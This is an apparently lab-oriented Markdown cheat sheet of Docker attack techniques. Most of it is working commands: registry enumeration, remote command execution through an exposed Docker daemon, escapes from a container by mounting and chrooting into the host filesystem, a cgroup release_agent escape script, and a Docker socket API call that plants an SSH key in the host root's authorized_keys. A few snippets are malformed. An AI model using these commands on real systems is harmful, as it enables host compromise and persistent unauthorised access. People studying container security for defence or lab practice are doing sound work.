killchain-compendium/misc/level3_hypervisor/docker_sec/docker.md

# Docker Vulnerabilities

## Abusing Registry
* [Registry Doc](https://docs.docker.com/registry/spec/api/)
* Registry is a json API endpoint
* Private registry added in `/etc/docker/daemon.json`
* Can be found by nmap as a service

### Enumeration
* General query
```sh
curl http://test.com:5000/v2/_catalog`
```
* List tags
```sh
curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
```
* `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
```sh
curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
```

## Reversing Docker Images
* [Dive](https://github.com/wagoodman/dive)
```sh
dive <IMAGE-ID>
```

## Uploading Images to Registry
* Ever image has a `latest` tag
* Upload modified docker image as `latest`
* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)

## RCE via Exposed Docker Daemon
* Users inside the `docker` group may open tcp socket through docker
* `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker
* Confirming via `curl http://test.com:2375/version` on open docker port
* Execute commands on socket
    ```sh 
    docker -H tcp://test.com:2375 ps
    docker -H tcp://test.com:2375 exec <container> <cmd>
    ```

* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)

## Escape Container via Exposed Docker Daemon
* Looking for exposed docker sockets
```sh
find / -name "*sock"
groups
```

* Mount the host volume and chroot to it, need alpine image. 
```sh
docker images
```sh
```sh
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```
or
```sh
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
```


## Shared Namespaces
* Namespaces
* Cgroups
* OverlayFS

* Requires root inside the container

* Execute command
```sh
nsenter --target 1 --mount sh
```

## Misconfiguration
* Privileged container connect to the host directly, not through the docker engine
* Execution of bins on the host from libs inside the container is possible
```sh
capsh --print
```
* `man capabilities`

* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)

* Exploit
```sh
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## Check fdisk

* `fdisk -l` and `lsblk`, host bulk device may be exposed
* Mount the device
```sh
mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
```

## Creating a Container from inside another container

* Needs root inside a container
* Upload [static curl](https://github.com/moparisthebest/static-curl)
* Check available images and containers
```sh
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
```
* Inside the container as root
```sh
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
```
* Return value is the ID
* Start a container
```sh
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
```
* Login in to the host via ssh

## Dirty c0w
https://github.com/dirtycow/dirtycow.github.io

## runC
[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)

## Securing a Container
* Least Privileges
* Seccomp
* Securing Registry via TLS

## Checking if you are inside a container
* Low process count
```sh
ps aux
```

* `.dockerenv` in `/`
```sh
cd / && ls -lah
```

* cgroups contain docker names
```sh
pwd /proc/1
cat cgroups
```